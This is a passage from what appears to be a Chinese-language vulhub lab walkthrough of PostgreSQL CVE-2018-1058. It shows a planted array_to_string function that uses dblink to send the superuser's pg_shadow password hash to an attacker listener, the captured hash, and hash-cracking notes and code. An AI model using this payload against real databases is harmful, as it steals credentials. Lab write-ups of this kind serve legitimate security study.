    $$ LANGUAGE SQL VOLATILE;
    
  3. 完整示例

# 连接数据库【攻击机 192.168.202.61】
┌──(root㉿kali)-[/tmp]
└─# psql -h 192.168.201.156 -U vulhub                                                                             
Password for user vulhub: 
psql (15.2 (Debian 15.2-2), server 9.6.7)
Type "help" for help.

# 执行语句
vulhub=> CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.202.61 port=5433 user=vulhub password=vulhub sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;
CREATE FUNCTION
vulhub=> ^Z
zsh: suspended  psql -h 192.168.201.156 -U vulhub

# 攻击机监听,成功获取到敏感信息
┌──(root㉿kali)-[~]
└─# nc -lnvp 5433               
listening on [any] 5433 ...
connect to [192.168.202.61] from (UNKNOWN) [192.168.201.156] 38684
Buservulhubdatabasemd57d6fbce7c8436a158326d8415fb1ef3b

# 等待超级用户执行命令,备份数据库【靶机执行】
root@refl4:/home/vulhub/postgres/CVE-2018-1058# docker compose exec postgres pg_dump -U postgres -f evil.bak vulhub

# 成功获取到敏感信息 
md5 7d6fbce7c8436a158326d8415fb1ef3b
-- cmd5 如下
md5($pass.$salt): 7d6fbce7c8436a158326d8415fb1ef3b:postgres

-- 查找特定用户的密码哈希值
SELECT passwd FROM pg_shadow WHERE usename = '<username>';
SELECT rolpassword FROM pg_authid WHERE rolname = 'vulhub';

-- 查询密码哈希值为特定值的用户
SELECT * FROM pg_authid WHERE rolpassword = 'md5' || md5('<password>' || <salt>);

image

image

附录

在 PostgreSQL 中,密码哈希值是通过将密码与用户名连接,并应用哈希算法计算得出的。对于使用 MD5 哈希算法的 PostgreSQL 版本,计算方法如下:

  1. 将用户名和密码连接起来,形成字符串。例如,假设用户名为 "postgres",密码为 "vulhub_secret",则连接后的字符串为 "postgresvulhub_secret"。
  2. 对连接后的字符串进行 MD5 哈希计算。
  3. 将计算得到的哈希值表示为 32 位的十六进制字符串,即为密码的哈希值。
import hashlib

username = "postgres"
password = "vulhub_secret"

# 将用户名和密码连接起来
concatenated_string = username + password

# 进行 MD5 哈希计算
md5_hash = hashlib.md5(concatenated_string.encode()).hexdigest()

print(md5_hash)  # 输出密码的哈希值

image

前人栽树